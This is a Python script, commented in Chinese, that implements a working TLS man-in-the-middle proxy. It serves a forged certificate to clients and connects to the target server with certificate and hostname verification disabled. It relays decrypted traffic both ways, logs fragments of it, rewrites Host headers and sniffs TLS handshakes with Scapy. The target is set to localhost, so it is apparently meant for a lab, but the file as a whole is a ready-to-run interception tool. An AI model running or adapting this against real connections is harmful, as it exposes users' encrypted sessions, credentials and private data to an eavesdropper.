import os
import socket
import ssl
import threading

from scapy.all import *
from scapy.layers.tls.all import *

# 配置参数（根据实际环境调整）
TARGET_HOST = "localhost"
TARGET_PORT = 8443
MITM_PORT = 8444
FAKE_CERT_PATH = "fake_cert.pem"
FAKE_KEY_PATH = "fake_key.pem"


def check_fake_certificates():
    """验证伪造证书和密钥是否存在，避免运行时文件缺失错误"""
    if not os.path.exists(FAKE_CERT_PATH):
        raise FileNotFoundError(f"伪造证书文件不存在：{FAKE_CERT_PATH}")
    if not os.path.exists(FAKE_KEY_PATH):
        raise FileNotFoundError(f"伪造密钥文件不存在：{FAKE_KEY_PATH}")
    print(f"✅ 成功加载伪造证书：{FAKE_CERT_PATH}")


def forward_data(source, dest, direction, is_client_to_server=False):
    """
    单向数据转发（解决Host头不匹配和转发阻塞问题）
    source: 数据来源SSL套接字
    dest: 数据目标SSL套接字
    direction: 转发方向描述（用于日志）
    is_client_to_server: 标记是否为客户端→服务器方向（需替换Host头）
    """
    try:
        while True:
            data = source.recv(4096)
            if not data:
                print(f"[{direction}] 连接关闭，停止转发")
                break

            # 修复1：替换客户端请求的Host头（中间人端口→目标服务器端口）
            if is_client_to_server and b"Host: " in data:
                old_host = f"Host: {TARGET_HOST}:{MITM_PORT}".encode()
                new_host = f"Host: {TARGET_HOST}:{TARGET_PORT}".encode()
                data = data.replace(old_host, new_host)
                print(f"[{direction}] 已替换Host头，数据片段：{data[:150]}...")
            else:
                print(f"[{direction}] 转发数据片段：{data[:100]}...")

            # 转发处理后的数据
            dest.sendall(data)
    except Exception as e:
        print(f"[{direction}] 转发错误：{str(e)}")


def mitm_handler(client_socket):
    """处理单个客户端连接的中间人逻辑（TLS握手+双线程转发）"""
    # 1. 与客户端建立TLS连接（使用伪造证书）
    client_tls_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    client_tls_context.load_cert_chain(certfile=FAKE_CERT_PATH, keyfile=FAKE_KEY_PATH)
    try:
        client_ssl = client_tls_context.wrap_socket(client_socket, server_side=True)
        print("✅ 已与客户端建立TLS连接（伪造证书）")
    except Exception as e:
        print(f"❌ 客户端TLS握手失败：{str(e)}")
        client_socket.close()
        return

    # 2. 与目标服务器建立TLS连接（跳过自签名证书验证）
    server_tls_context = ssl.create_default_context()
    server_tls_context.check_hostname = False  # 禁用主机名验证
    server_tls_context.verify_mode = ssl.CERT_NONE  # 禁用证书有效性验证
    try:
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_ssl = server_tls_context.wrap_socket(
            server_socket, server_hostname=TARGET_HOST
        )
        server_ssl.connect((TARGET_HOST, TARGET_PORT))
        print("✅ 已与目标服务器建立TLS连接（跳过证书验证）")
    except Exception as e:
        print(f"❌ 目标服务器TLS握手失败：{str(e)}")
        client_ssl.close()
        return

    # 3. 启动双线程转发（双向独立，避免阻塞）
    # 线程1：客户端→服务器（需替换Host头）
    forward_client_to_server = threading.Thread(
        target=forward_data,
        args=(client_ssl, server_ssl, "客户端→服务器"),
        kwargs={"is_client_to_server": True},
        daemon=True,
    )
    # 线程2：服务器→客户端（直接转发响应）
    forward_server_to_client = threading.Thread(
        target=forward_data, args=(server_ssl, client_ssl, "服务器→客户端"), daemon=True
    )

    # 启动转发线程并等待结束
    forward_client_to_server.start()
    forward_server_to_client.start()
    forward_client_to_server.join()
    forward_server_to_client.join()

    # 4. 关闭连接
    client_ssl.close()
    server_ssl.close()
    print("🔌 连接已全部关闭\n")


def start_mitm_server():
    """启动中间人主服务器（监听+证书检查+Scapy流量分析）"""
    # 先检查证书是否存在
    check_fake_certificates()

    # 启动Scapy TLS流量嗅探（后台线程，不影响主逻辑）
    def sniff_tls_traffic():
        sniff(
            filter=f"tcp port {TARGET_PORT} or tcp port {MITM_PORT}",
            prn=lambda pkt: (TLS in pkt and pkt[TLS].type == 22)
            and print(f"📊 捕获TLS握手包：类型={pkt[TLS].type}，长度={len(pkt)}"),
            store=0,
        )

    threading.Thread(target=sniff_tls_traffic, daemon=True).start()

    # 创建并启动监听套接字
    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    mitm_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 允许端口复用
    mitm_socket.bind(("0.0.0.0", MITM_PORT))
    mitm_socket.listen(5)
    print(
        f"🚀 中间人服务器已启动：监听 {MITM_PORT} 端口 → 目标 {TARGET_HOST}:{TARGET_PORT}\n"
    )

    # 循环接收客户端连接
    try:
        while True:
            client_sock, client_addr = mitm_socket.accept()
            print(f"📥 收到新连接：{client_addr}")
            # 启动新线程处理该连接（避免阻塞其他客户端）
            threading.Thread(
                target=mitm_handler, args=(client_sock,), daemon=True
            ).start()
    except KeyboardInterrupt:
        print("\n🛑 中间人服务器已手动停止")
    finally:
        mitm_socket.close()


if __name__ == "__main__":
    start_mitm_server()
